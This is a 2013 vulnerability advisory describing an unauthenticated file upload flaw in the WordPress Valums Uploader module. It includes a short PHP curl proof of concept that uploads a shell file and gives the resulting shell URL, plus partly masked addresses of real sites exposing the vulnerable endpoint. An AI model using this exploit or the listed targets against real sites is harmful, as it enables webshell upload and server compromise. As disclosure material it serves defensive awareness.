Wordpress Valums Uploader - File Upload Vulnerability

Document Title:
===============
Wordpress Valums Uploader - File Upload Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=817


Release Date:
=============
2013-01-04


Vulnerability Laboratory ID (VL-ID):
====================================
817


Common Vulnerability Scoring System:
====================================
7.5


Abstract Advisory Information:
==============================
The independent laboratory researcher (jingo-bd) discovered a remote file upload vulnerability in the Wordpress `Valums Uploader` application.


Vulnerability Disclosure Timeline:
==================================
2013-01-04:	Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A file upload vulnerability is detected in the Wordpress `Valums Uploader` application module.
The vulnerability allows remote attackers to upload files like webshells and co. to unauthorized access them after 
the upload to compromise the application system.

The vulnerability is located in the valums uploader module when processing to request for uploads via POST.
Attackers can unauthorized upload own files to compromise the web application or system dbms.

Exploitation of the file upload vulnerability requires no user interaction and can be processed without privileged 
application user account. Successful exploitation of the remote file upload vulnerability results in system and dbms compromise.

Vulnerable Module(s):
			[+] Valums Uploader


Proof of Concept (PoC):
=======================
The remote vulnerability can be exploited by remote attackers without required user interaction and without privileged application user account.
For demonstration or reproduce ...

<?php

$uploadfile="bangla.php"; 
$ch =
curl_init("http://localhost/wordpress/VALUMS_UPLOADER_PATH/php.php");
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access: http://localhost/wp-content/uploads/2013/01/bangla.php


Reference(s): 
  		http://www.xxx.ca/wp/wp-content/themes/lightspeed/framework/_scripts/valums_uploader/php.php
		http://www.xxx.co.uk/wp-content/themes/eptonic/functions/jwpanel/scripts/valums_uploader/php.php
		http://www3.xxx.com/v2/wp-content/themes/nuance/functions/jwpanel/scripts/valums_uploader/php.phps


Security Risk:
==============
The security risk of the unauthorized shell upload exploit is estimated as high(+).


Credits & Authors:
==================
JingoBD - (http://facebook.com/bdcyberarmy)
Greetz: ManInDark,Rex0Man,Evil AXE,Bedu33n,NEEL,AXIOM, All Of My BCA Friends and BANGLADESHI Hacker Team.


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=========================
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